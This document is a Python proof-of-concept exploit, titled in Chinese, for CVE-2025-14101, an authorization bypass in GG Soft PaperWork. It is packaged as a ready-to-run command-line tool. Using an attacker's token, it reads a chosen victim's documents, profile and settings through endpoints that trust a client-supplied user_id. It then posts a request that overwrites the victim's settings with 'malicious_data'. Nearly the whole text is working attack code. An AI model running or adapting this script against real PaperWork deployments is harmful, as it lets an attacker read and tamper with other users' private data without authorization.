CVE-2025-14101 GG Soft PaperWork 授权绕过漏洞

# CVE-2025-14101 PoC - Authorization Bypass in GG Soft PaperWork # This PoC demonstrates the authorization bypass vulnerability import requests import argparse def exploit_authorization_bypass(target_url, attacker_token, target_user_id): """ Exploit authorization bypass through user-controlled key Args: target_url: Base URL of PaperWork application attacker_token: Valid authentication token for attacker account target_user_id: Target user ID to impersonate (victim) """ headers = { 'Authorization': f'Bearer {attacker_token}', 'Content-Type': 'application/json' } # Step 1: Access victim's data by manipulating user_id parameter # The vulnerable endpoint uses client-supplied user_id instead of server-side session vulnerable_endpoints = [ f'{target_url}/api/documents/user_id/{target_user_id}', f'{target_url}/api/profile/user_id/{target_user_id}', f'{target_url}/api/settings/user_id/{target_user_id}' ] for endpoint in vulnerable_endpoints: print(f'[*] Trying endpoint: {endpoint}') response = requests.get(endpoint, headers=headers) if response.status_code == 200: print(f'[+] SUCCESS: Retrieved data from {endpoint}') print(f' Response: {response.text[:200]}...') elif response.status_code == 403: print(f'[-] Blocked: Access denied') else: print(f'[-] Failed: Status {response.status_code}') # Step 2: Modify data belonging to target user modify_payload = { 'user_id': target_user_id, 'action': 'modify_settings', 'new_value': 'malicious_data' } modify_endpoint = f'{target_url}/api/settings/update' print(f'\n[*] Attempting to modify victim data...') response = requests.post(modify_endpoint, json=modify_payload, headers=headers) if response.status_code in [200, 201]: print(f'[+] SUCCESS: Modified data for user {target_user_id}') return response.status_code == 200 if __name__ == '__main__': parser = argparse.ArgumentParser(description='CVE-2025-14101 Exploit') parser.add_argument('--url', required=True, help='Target URL') parser.add_argument('--token', required=True, help='Attacker token') parser.add_argument('--target', required=True, help='Target user ID') args = parser.parse_args() exploit_authorization_bypass(args.url, args.token, args.target)